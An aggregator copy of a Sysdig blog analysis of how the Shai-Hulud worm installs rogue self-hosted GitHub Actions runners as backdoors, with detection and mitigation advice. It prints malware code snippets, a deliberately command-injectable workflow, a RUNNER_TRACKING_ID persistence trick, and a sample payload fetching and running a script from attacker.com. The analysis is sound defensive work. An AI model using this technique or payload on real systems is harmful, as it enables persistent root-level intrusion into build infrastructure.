惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The GitHub Blog
The GitHub Blog
K
Kaspersky official blog
Stack Overflow Blog
Stack Overflow Blog
Blog — PlanetScale
Blog — PlanetScale
Recorded Future
Recorded Future
Engineering at Meta
Engineering at Meta
U
Unit 42
D
Docker
I
InfoQ
D
DataBreaches.Net
Google DeepMind News
Google DeepMind News
N
Netflix TechBlog - Medium
C
Check Point Blog
The Cloudflare Blog
美团技术团队
V
Vulnerabilities – Threatpost
博客园_首页
T
Threat Research - Cisco Blogs
Google DeepMind News
Google DeepMind News
Attack and Defense Labs
Attack and Defense Labs
A
Arctic Wolf
IT之家
IT之家
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
T
Troy Hunt's Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
人人都是产品经理
人人都是产品经理
C
Cyber Attacks, Cyber Crime and Cyber Security
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Security Archives - TechRepublic
Security Archives - TechRepublic
S
Schneier on Security
Apple Machine Learning Research
Apple Machine Learning Research
MyScale Blog
MyScale Blog
P
Privacy International News Feed
云风的 BLOG
云风的 BLOG
Recent Commits to openclaw:main
Recent Commits to openclaw:main
T
The Blog of Author Tim Ferriss
GbyAI
GbyAI
The Last Watchdog
The Last Watchdog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
aimingoo的专栏
aimingoo的专栏
P
Proofpoint News Feed
The Register - Security
The Register - Security
博客园 - 三生石上(FineUI控件)
Forbes - Security
Forbes - Security
NISL@THU
NISL@THU
Y
Y Combinator Blog
T
Threatpost
Microsoft Azure Blog
Microsoft Azure Blog
L
Lohrmann on Cybersecurity

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
How threat actors are using self-hosted GitHub Actions runners as backdoors
Alberto Pellitteri · 2026-01-13 · via Sysdig Blog

Modern software development relies on automation for speed and scale, and GitHub Actions are one of the main engines that drive automation across CI/CD pipelines. Using GitHub Actions, code is compiled, tests are run, and applications are deployed in response to code pushes or pull requests — all without human intervention. 

Behind the scenes, these workflows are carried out by runners, which are the execution machines hosted by GitHub or provided by the user. While GitHub offers managed infrastructure and their runners are short-lived and tightly controlled, self-hosted runners allow organizations to run workflows on their own internal servers or cloud instances for greater control and access to private resources, trading isolation for flexibility and deep integration. But with speed often comes security challenges.

Self-hosted GitHub Actions runners can be weaponized into persistent backdoors that communicate entirely over trusted channels. Because all traffic flows to github.com, traditional network defenses are largely blind to the threat. On November 24, 2025, the Shai-Hulud worm demonstrated exactly this technique at scale, installing rogue runners on compromised machines and using intentionally vulnerable workflows as a command-and-control (C2) channel.

Using the Shai-Hulud campaign as a case study, let’s explore how attackers can abuse GitHub's self-hosted runner infrastructure to establish persistent remote access. We will also examine the attack mechanics, detection strategies, and monitoring recommendations for security teams.

Why self-hosted runners are attractive targets

Self-hosted runners allow organizations to host their own machines for executing GitHub Actions workflows. Unlike GitHub-hosted runners, self-hosted runners give teams full control over the operating system, installed software, and hardware specifications used during CI/CD operations. This flexibility, combined with the fact that GitHub Actions usage is currently free for self-hosted runners, has driven widespread adoption. (Though pricing changes were announced for 2026, the self-hosted runner fee has been postponed following community feedback.)

From an attacker's perspective, self-hosted runners are valuable for several reasons: They often have access to internal networks, they may hold cached credentials or secrets, and they execute arbitrary code by design. The registration process is also intentionally low-friction. After selecting the target operating system and architecture, GitHub provides a series of commands to download and configure the runner application:

# Create a folder
mkdir actions-runner && cd actions-runner

# Download the latest runner package
curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz

# Extract the installer
tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz

Configuration is the most critical step. By running ./config.sh with a unique registration token, the machine establishes a long-lived connection to GitHub:

# Create the runner and start the configuration experience
./config.sh --url https://github.com/<owner>/<repository> --token <TOKEN>

# Start listening for jobs
./run.sh

The registration token can be retrieved manually from a repository's Settings menu, or programmatically via the GitHub API:

  • /repos/{owner}/{repo}/actions/runners/registration-token for repository-level runners
  • /orgs/{org}/actions/runners/registration-token for organization-level runners

Admin-level permissions are required to generate these tokens.

Case study: The Shai-Hulud backdoor

The Shai-Hulud worm provides a clear example of this attack pattern in the wild, using self-hosted GitHub Actions runners as backdoors. After compromising developer machines through trojanized NPM packages, Shai-Hulud established persistent access by installing rogue GitHub runners. The attack proceeds in four distinct stages.

Stage 1: Repository creation

When the worm discovers a valid GitHub token with sufficient permissions, it immediately creates a new public repository. The repository name is a random 18-character string, but the description contains a fixed marker: Sha1-Hulud: The Second Coming. Crucially, the attacker enables the discussions feature, which later serves as the C2 channel:

async ["createRepo"](repo_name, repo_description = "Sha1-Hulud: The Second Coming.", repo_is_private = false) {
    if (!repo_name) {
      return null;
    }
    try {
      let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
        'name': repo_name,
        'description': repo_description,
        'private': repo_is_private,
        'auto_init': false,
        'has_issues': false,
        'has_discussions': true,
        'has_projects': false,
        'has_wiki': false
      })).data;
...

The code creates a minimal repository with only the discussions feature enabled. Everything else is disabled to reduce visibility and noise.

Stage 2: Runner registration token acquisition

Once the repository is live, the malware requests a runner registration token via the GitHub API:

    this.gitRepo = repo_owner + '/' + repo_name;
    await new Promise(_0x29dfa6 => setTimeout(_0x29dfa6, 0xbb8));
    if (await this.checkWorkflowScope()) {
      try {
        let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
          'owner': repo_owner,
          'repo': repo_name
        });
        if (_0x449178.status == 0xc9) {
          let _0x1489ec = _0x449178.data.token;
...

This token allows any machine to register itself as a workflow runner for the attacker-controlled repository, effectively creating a direct, outbound-initiated link from the victim's machine to GitHub's infrastructure.

Stage 3: Runner installation and execution

The malware downloads the official GitHub Actions runner binary, installs it in a hidden directory (~/.dev-env), and configures it with the distinctive name, SHA1HULUD:

if (a0_0x5a88b3.platform() === 'linux') {
    await Bun.$`mkdir -p $HOME/.dev-env/`;
    await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
    await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
    await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
    await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
    Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}

Two implementation details are particularly important:

  • RUNNER_ALLOW_RUNASROOT=1: By default, GitHub runners execute as unprivileged non-root processes as an added layer of security. Here the attacker explicitly overrides this protection, ensuring that any commands executed through the backdoor will have root privileges.
  • nohup ... &: By using nohup and backgrounding the process, the runner persists even after the initial malicious script terminates.

Stage 4: Vulnerable workflow implant

The final component is a workflow file uploaded to the repository at .github/workflows/discussion.yaml. This workflow is intentionally vulnerable to command injection:

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

Two characteristics make this workflow particularly dangerous:

Command injection via expression interpolation: The workflow uses ${{ github.event.discussion.body }} directly as an argument within a run command. Because GitHub Actions interpolates this expression, literally substituting the text of the discussion body into the shell script before it is executed, an attacker can easily "break out" of the intended command. By including shell metacharacters like backticks, semicolons, or pipes in the discussion body, the attacker escapes the echo command and executes arbitrary code directly on the host machine.

Process persistence via RUNNER_TRACKING_ID: When a GitHub Action completes, the runner normally terminates any orphaned processes started during the job. By setting RUNNER_TRACKING_ID to 0 (or any value other than the job's actual ID), the attacker bypasses this cleanup mechanism, allowing spawned processes to persist after the workflow finishes. This technique was first documented by Praetorian in 2022, demonstrating how self-hosted runners can be transformed into persistent backdoors.

Executing commands through the backdoor

With the infrastructure in place, the attacker can execute arbitrary commands on the victim's machine by posting to the repository's discussions. For example, posting the following as a discussion body:

"" && curl -s http://attacker.com/shell.sh | bash

Results in the runner executing:

echo "" && curl -s http://attacker.com/shell.sh | bash

The empty echo completes successfully, and the shell proceeds to download and execute the attacker's payload. In the screenshot below, we show a simpler scenario executing the echo command, followed by whoami, and a process listing command.

This creates a full-fledged backdoor on the victim's system. As long as the attacker maintains access to the public repository, they can execute code on the compromised machine simply by posting a discussion comment. Since all traffic flows to github.com, the backdoor blends into normal development activity.

Broader risk patterns

Other vulnerable trigger events

The discussion event used by Shai-Hulud is not the only vector for this type of attack. The core risk lies in how workflows process untrusted external input on persistent runners. Any event that allows an untrusted user to initiate a workflow on a self-hosted runner can be weaponized for backdoor injection:

  • pull_request_target: This event runs in the context of the base repository, potentially granting access to secrets and a privileged GITHUB_TOKEN. If a workflow using this trigger checks out code from a malicious pull request and executes it on a self-hosted runner, the attacker gains immediate high-privilege access.
  • issue_comment: Anyone can comment on a public repository, making this event a natural vector for remote command injection. Workflows that process comment text without proper sanitization are vulnerable.
  • Neglected activity types: As we documented in previous research on insecure GitHub Actions, failing to specify granular types for workflow events leaves dangerous gaps. Attackers can trigger vulnerable workflows through obscure actions like labeling an issue or unanswering a discussion, reducing the chance of detection.

Persistent service installation

In the observed Shai-Hulud campaign, the backdoor was relatively fragile because it was tied to the active lifecycle of the runner process. If the host machine reboots, the runner process terminates along with any spawned processes.

However, GitHub provides native tools to configure the runner as a system service. By executing the ./svc.sh script, an attacker who has gained initial code execution can ensure:

  1. The backdoor survives reboots: The runner application starts automatically as part of the system's boot sequence.
  2. Detection is minimized: Rather than appearing as a suspicious interactive process, the compromised runner operates as a standard system service (via systemd), masking the attacker's presence within legitimate infrastructure.

By pivoting from a temporary workflow execution to a persistent system service, an attacker effectively transforms a one-time exploit into a permanent backdoor.

How to find rogue runners

Organizations should actively monitor their GitHub runner inventory for unauthorized registrations. The following script retrieves all runners configured for a repository or organization:

#!/bin/bash
#
# Script to list all GitHub Actions runners with their name and status.
#
# Usage:
#     export GITHUB_TOKEN=your_token_here
#     ./list_runners.sh --owner OWNER [--repo REPO]

set -e

OWNER=""
REPO=""

while [[ $# -gt 0 ]]; do
    case $1 in
        --owner)
            OWNER="$2"
            shift 2
            ;;
        --repo)
            REPO="$2"
            shift 2
            ;;
        --token)
            GITHUB_TOKEN="$2"
            shift 2
            ;;
        -h|--help)
            echo "Usage: $0 --owner OWNER [--repo REPO] [--token TOKEN]"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

if [ -z "$OWNER" ]; then
    echo "Error: --owner is required" >&2
    exit 1
fi

if [ -z "$GITHUB_TOKEN" ]; then
    echo "Error: GitHub token is required." >&2
    exit 1
fi

if [ -n "$REPO" ]; then
    API_URL="https://api.github.com/repos/${OWNER}/${REPO}/actions/runners"
    SCOPE="${OWNER}/${REPO}"
else
    API_URL="https://api.github.com/orgs/${OWNER}/actions/runners"
    SCOPE="organization: ${OWNER}"
fi

RESPONSE=$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" \
                   -H "Accept: application/vnd.github.v3+json" \
                   "${API_URL}?per_page=100")

if echo "$RESPONSE" | jq -e '.message' > /dev/null 2>&1; then
    ERROR_MSG=$(echo "$RESPONSE" | jq -r '.message')
    echo "Error: $ERROR_MSG" >&2
    exit 1
fi

RUNNER_COUNT=$(echo "$RESPONSE" | jq '.runners | length')

if [ "$RUNNER_COUNT" -eq 0 ]; then
    echo "No runners found for $SCOPE"
    exit 0
fi

printf "%-10s %-30s %-15s %-10s\n" "ID" "Name" "Status" "Busy"
printf "%-10s %-30s %-15s %-10s\n" "----------" "------------------------------" "---------------" "----------"

echo "$RESPONSE" | jq -r '.runners[] | 
    [.id, (.name | if length > 30 then .[0:27] + "..." else . end), .status, (if .busy then "Yes" else "No" end)] | @tsv' | \
while IFS=$'\t' read -r id name status busy; do
    printf "%-10s %-30s %-15s %-10s\n" "$id" "$name" "$status" "$busy"
done

echo ""
echo "Total runners: $RUNNER_COUNT"

Additionally, organizations should query GitHub audit log events, specifically repo.register_self_hosted_runner, to identify any unauthorized runner registrations that may have occurred in the past. Runner information is also available directly in a repository's Settings panel under the Runners page in the Actions section.

The execution of the script above may print out an output like this:

However, information about registered runners can also be retrieved directly from your repository. To do this, access your Settings panel, then open the Runners page in the Action section.

Detecting a rogue runner

The RUNNER_TRACKING_ID=0 environment variable serves as a reliable indicator of malicious intent, as it has no legitimate purpose other than evading the runner's process cleanup mechanism.

Sysdig provides the Persistence Across Github Runner Executions Detected rule as part of the Sysdig Runtime Notable Events policy. This rule triggers when processes attempt to persist beyond the normal lifecycle of a GitHub Actions job execution.

A similar rule is also available to Falco users:

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- rule: Persistence Across Github Runner Executions Detected
  desc: This rule detects the usage of the RUNNER_TRACKING_ID environment variable set to 0 or empty string. When this variable is set, the cleanup job does not terminate the associated process. Threat actors can exploit this to maintain persistence across workflow executions.
  condition: spawned_process and (proc.env contains "RUNNER_TRACKING_ID=0" or proc.env contains "RUNNER_TRACKING_ID= ") and not proc.aenv[1] contains "RUNNER_TRACKING_ID="
  output: Persistence attempt via GitHub Runner detected. Process %proc.name (PID: %proc.pid) spawned in container %container.name with RUNNER_TRACKING_ID=%proc.env["RUNNER_TRACKING_ID"]. (user=%user.name image=%container.image.repository cmdline=%proc.cmdline)

Organizations should also monitor for:

  • Runner processes executing from hidden directories (e.g., ~/.dev-env)
  • Runners configured with suspicious names (e.g., SHA1HULUD)
  • Unexpected outbound connections from runner processes to unknown repositories
  • Workflow files containing unsanitized expression interpolation in run commands

Mitigation recommendations

GitHub's own security hardening documentation is explicit about the risks: "Self-hosted runners for GitHub do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow."

Based on GitHub's guidance, organizations should implement the following controls:

  • Never use self-hosted runners with public repositories. Anyone who can fork the repository and open a pull request can potentially execute code on your runner.
  • Use ephemeral runners. Destroy the runner environment after each job execution to prevent persistence. GitHub notes that this approach "might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job," but it still raises the bar significantly.
  • Organize runners into groups with repository restrictions. When runners are defined at the organization or enterprise level, GitHub can schedule workflows from multiple repositories onto the same runner. Use runner groups to limit which repositories can access which runners.
  • Minimize sensitive data on runner machines. Keep secrets, SSH keys, and API tokens off runner infrastructure. Assume that any user who can invoke workflows has access to the runner environment.
  • Restrict runner network access. Limit what internal services the runner can reach. Avoid giving runners access to cloud metadata services, production databases, or other sensitive infrastructure.

Conclusion

Self-hosted runners represent an underappreciated attack surface. By design, they execute arbitrary code from workflows, maintain persistent connections to GitHub, and often run with elevated privileges on internal infrastructure. The Shai-Hulud campaign demonstrates how attackers can exploit these characteristics quickly and at scale to establish backdoors that blend seamlessly into legitimate CI/CD traffic.

Organizations using self-hosted runners should audit their runner inventory regularly, restrict runner usage to trusted repositories, and implement runtime detection for persistence techniques like RUNNER_TRACKING_ID manipulation. Since compromised runners can provide attackers with privileged access to build infrastructure, and potentially to production secrets and deployment pipelines, treating runner security as a priority is essential.